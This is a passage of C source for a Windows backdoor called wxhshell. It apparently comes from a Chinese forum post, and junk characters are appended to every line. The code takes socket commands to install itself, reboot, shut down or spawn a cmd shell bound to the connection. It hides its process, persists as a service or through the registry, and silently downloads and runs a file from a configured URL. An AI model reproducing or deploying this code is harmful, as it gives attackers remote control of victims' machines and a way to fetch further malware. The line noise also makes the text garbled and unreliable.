      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); R}gdN-941  
    break; \efDY[j/  
  } S',h*e  
  // 安装 cB){b'WJ  
  case 'i': { tjwf;g}$  
    if(Install()) py:L-5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cM'MgX9  
    else 3 0[Xkz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oSD=3DQ;  
    break; Lw,}wM5X  
    } {l,&F+W$C  
  // 卸载 LYECX  
  case 'r': { v#&;z_I+  
    if(Uninstall())  Y4 z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j0}wv~\  
    else }6\,kFc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '1LN)Yw  
    break; +bLP+]7oZ  
    } W ,6q1  
  // 显示 wxhshell 所在路径 s 0Uid&qE  
  case 'p': { JI]Lz1i  
    char svExeFile[MAX_PATH]; 9!n95  
    strcpy(svExeFile,"\n\r"); Es7 c2YdU  
      strcat(svExeFile,ExeFile); !~9ASpqvPy  
        send(wsh,svExeFile,strlen(svExeFile),0); O=7S=Rm4&  
    break; 3WF]%P%  
    } /C Xg$%\  
  // 重启 -LRx}Mb9  
  case 'b': { ,.p 36ZLP  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Ve%ua]qA  
    if(Boot(REBOOT)) U<0Wa>3zj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8(Te^] v#  
    else { }.)R#hG?  
    closesocket(wsh); >8I~i:hn  
    ExitThread(0); 3]?='Qq.(  
    } Ebs]]a>PO  
    break; "zJxWXI  
    } k1xx>=md|C  
  // 关机 Nm z5:Rq  
  case 'd': { j% 7Gje[  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); lqOpADLS3  
    if(Boot(SHUTDOWN)) E/oLE^yL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -c?x5/@3  
    else { onSt%5{P%X  
    closesocket(wsh); ?wG  
    ExitThread(0); i /[{xRXiR  
    } z3i`O La  
    break; Yv]vl6<  
    } VVch%  
  // 获取shell ;%2+Tc-7I  
  case 's': { v\6.#>NQ  
    CmdShell(wsh); a%m )8N;C  
    closesocket(wsh); 4bGvkxZo`$  
    ExitThread(0); YU-wE';H6  
    break; Tx K v!-1  
  } /} PdO  
  // 退出 m}?jU  
  case 'x': { #Y7iJPO  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ];Noe9o  
    CloseIt(wsh); YT!iI   
    break; @-S7)h>~  
    } :2c(.-[`  
  // 离开 6/L[`n"G  
  case 'q': { uo]\L^j   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); IrCl\HQN  
    closesocket(wsh); qpe9?`vVX  
    WSACleanup(); oQ]FyV  
    exit(1); )?SFIQ=  
    break; q!0HsF  
        } ;hq_}.  
  } ? 3fnt"  
  } Zj]tiN f\"  
2Xv}JPS2As  
  // 提示信息 >x6\A7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t=Rl`1 =(K  
} 3Y)z{o>P  
  } hk5!$#^  
>ph=?M KD  
  return; E]~ #EFc  
} z.hq2v  
t'$_3ml  
// shell模块句柄 n-M6~   
int CmdShell(SOCKET sock) >qy62:co  
{ ]Whv%  
STARTUPINFO si; 3n7>qZ.d  
ZeroMemory(&si,sizeof(si)); SHPDbBS  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; X1B)(|7$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; H?r~% bh  
PROCESS_INFORMATION ProcessInfo; sYXLVJ>b  
char cmdline[]="cmd"; tE-bHu370  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]#shuZ##>0  
  return 0; \ky oA Z  
} 2<J2#}+ \  
-:_3N2U=+  
// 自身启动模式 b)Nd}6}<?  
int StartFromService(void) Z:h'kgG&  
{ \PN*gDmX  
typedef struct Mj>Q V(L8t  
{ e/ g9r  
  DWORD ExitStatus; 6bj77CoB  
  DWORD PebBaseAddress; qmn l  
  DWORD AffinityMask; 8SroA$^n  
  DWORD BasePriority; "kcix!}&  
  ULONG UniqueProcessId; [Y`E"1f2  
  ULONG InheritedFromUniqueProcessId; lQ^"-zO4  
}   PROCESS_BASIC_INFORMATION; <^> nR3E  
~u0<c:C^  
PROCNTQSIP NtQueryInformationProcess; /<T{g0s  
w]xr ~D+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #lMIs4i.  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; w$&;s<0  
<n k/w5nKL  
  HANDLE             hProcess; :##$-K*W"  
  PROCESS_BASIC_INFORMATION pbi; _M8'~$Sg  
T"H"m4{'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); J0&-UnJ  
  if(NULL == hInst ) return 0; ,tZL"  
jpYZ) So-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /: -&b#+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); L^C B#5uG  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5>S1lyam  
^ux'-/  
  if (!NtQueryInformationProcess) return 0; L"1AC&~ u  
=`(W^&|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "u sPzp5  
  if(!hProcess) return 0; >f&L7@  
;=P!fvHk  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; D{d%*hlI 3  
t&JOASYC  
  CloseHandle(hProcess); &%(Dd  
`N}V i6FG  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); QaE!?R  
if(hProcess==NULL) return 0; (8ct'Q;  
FnOa hLS  
HMODULE hMod; @6!Myez'  
char procName[255]; ryz NM3  
unsigned long cbNeeded; |DsT $ ~D  
Dh}d-m_5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  Uv<nJM  
_@)-#7  
  CloseHandle(hProcess); ^u90N>Dvq  
q3v5gz^t  
if(strstr(procName,"services")) return 1; // 以服务启动 ;c|_z 9+  
^XYK }J  
  return 0; // 注册表启动 +>yh` Zb  
} yoieWnL}  
~A%+oa*2~  
// 主模块 ?c"i V  
int StartWxhshell(LPSTR lpCmdLine) ^g2Vz4u  
{ ] NW_oRH  
  SOCKET wsl; Hv' OO@z  
BOOL val=TRUE; +S#Xm4  
  int port=0; #_3ZF"[zq  
  struct sockaddr_in door; /`#JM  
{ktwX\z  
  if(wscfg.ws_autoins) Install(); SuI^8^f=  
rN.8-  
port=atoi(lpCmdLine); T#Bj5H  
>bmdu \j5R  
if(port<=0) port=wscfg.ws_port; 3,hu3"@k  
]M"U 'Z  
  WSADATA data; ^HuB40  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4kV$JV.l  
 (t@!0_5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    N?,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); BVus3Y5IJQ  
  door.sin_family = AF_INET; [ gR,nJH.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); eMn'z]M&]  
  door.sin_port = htons(port); PN J&{4wY  
HHgv, bC!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 23ho uS   
closesocket(wsl); ei}(jlQp  
return 1; ^)`e}}  
} 2"}Vfy  
!lZ}kz0  
  if(listen(wsl,2) == INVALID_SOCKET) { 5~[][VV^  
closesocket(wsl); F]N?_ bo  
return 1; \?Xoa"^  
} ,|#biT-<T  
  Wxhshell(wsl); @0tX ,Z9  
  WSACleanup(); i3L2N~:V  
;jPiD`Kyv  
return 0; f }.t  
H|`D3z.c  
} IZQ*D)  
n8\88d  
// 以NT服务方式启动 |,H 2ge  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @a=jSB#B  
{ qrZ3`@C4k  
DWORD   status = 0; ,5T1QWn^f  
  DWORD   specificError = 0xfffffff; Y}C|4"V  
@S5HMJ2=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *].qm g%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; j]-_kjt  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; P_p\OK*l]o  
  serviceStatus.dwWin32ExitCode     = 0; -M T1qqi  
  serviceStatus.dwServiceSpecificExitCode = 0; |v#D}E  
  serviceStatus.dwCheckPoint       = 0; !N][W#:  
  serviceStatus.dwWaitHint       = 0; UbIUc}ge  
=jxy4`oF  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "|,KXv')  
  if (hServiceStatusHandle==0) return; ~GJ;;v1b2  
z/WGL  
status = GetLastError(); X -=M>H^  
  if (status!=NO_ERROR) u35"oLV6}#  
{ DV>;sCMJ %  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; LU@1Gol  
    serviceStatus.dwCheckPoint       = 0; ]vV)$xMX  
    serviceStatus.dwWaitHint       = 0; nq+6ipx  
    serviceStatus.dwWin32ExitCode     = status; B o%Sl  
    serviceStatus.dwServiceSpecificExitCode = specificError; SY@;u<Pd   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); jlqSw4_  
    return; MIiBNNURX  
  } 'X4)2iFV  
Oi@|4mo  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; xBf->o S?  
  serviceStatus.dwCheckPoint       = 0; U1 rr=h g  
  serviceStatus.dwWaitHint       = 0; Qs#;sy W@~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); n`jG[{3t&  
} 6T_Ya)  
cc1M9kVi  
// 处理NT服务事件,比如:启动、停止 |]Hr"saO0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +n%8*F&  
{ sK/ymEfRv  
switch(fdwControl) eQ6wEeB9  
{ c&h8Qk3  
case SERVICE_CONTROL_STOP: 2\#$::B9  
  serviceStatus.dwWin32ExitCode = 0; (4C)] RHQ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; E]a;Ydf~  
  serviceStatus.dwCheckPoint   = 0; q]Xu #:X  
  serviceStatus.dwWaitHint     = 0; 6p3cMJ'8y  
  { XW^Pz (  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xh25 *y  
  } i],~tT|P  
  return; uz20pun4B  
case SERVICE_CONTROL_PAUSE: O@dK^o  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; bTAY5\wB  
  break; ,C_MB1u  
case SERVICE_CONTROL_CONTINUE: [ `_sH\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; w?M"`O(  
  break; &5B/>ag1!  
case SERVICE_CONTROL_INTERROGATE: Are0Nj&?  
  break; \CS4aIp  
}; n!Y}D:6c6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xbHI 4A"Z  
} X%B$*y5  
7*WO9R/  
// 标准应用程序主函数 7:JGrO  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ];=|))ky"  
{ ;WrG\R/|  
g 4 $  
// 获取操作系统版本 VyNU<}  
OsIsNt=GetOsVer(); Es\J%*\u  
GetModuleFileName(NULL,ExeFile,MAX_PATH); m0^~VK|  
C58B(Ndo  
  // 从命令行安装 u{D]Kc?n  
  if(strpbrk(lpCmdLine,"iI")) Install(); uFlf#t =  
:C0)[L  
  // 下载执行文件 z?UEn#E2  
if(wscfg.ws_downexe) { nhZ/^`Y<  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) PTXS8e4  
  WinExec(wscfg.ws_filenam,SW_HIDE); /_8nZVu  
} G<`(d@g  
rH\oFCzC  
if(!OsIsNt) { *o(bB!q"c  
// 如果时win9x,隐藏进程并且设置为注册表启动 g1l:k1\Ht  
HideProc(); G$CSZrP.  
StartWxhshell(lpCmdLine); \-[ >bsg  
} lKqFuLHwF  
else t.bM]QU!1  
  if(StartFromService()) ?hURNlR_Q  
  // 以服务方式启动 *7L1SjZw  
  StartServiceCtrlDispatcher(DispatchTable); G"Ey%Q2K  
else ]xJ. OUJy  
  // 普通方式启动 /,$V/q+  
  StartWxhshell(lpCmdLine); %*gg6Q  
|'x"+x   
return 0; {Dy,u%W?  
}
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只看该作者 1 发表于: 2006-10-10
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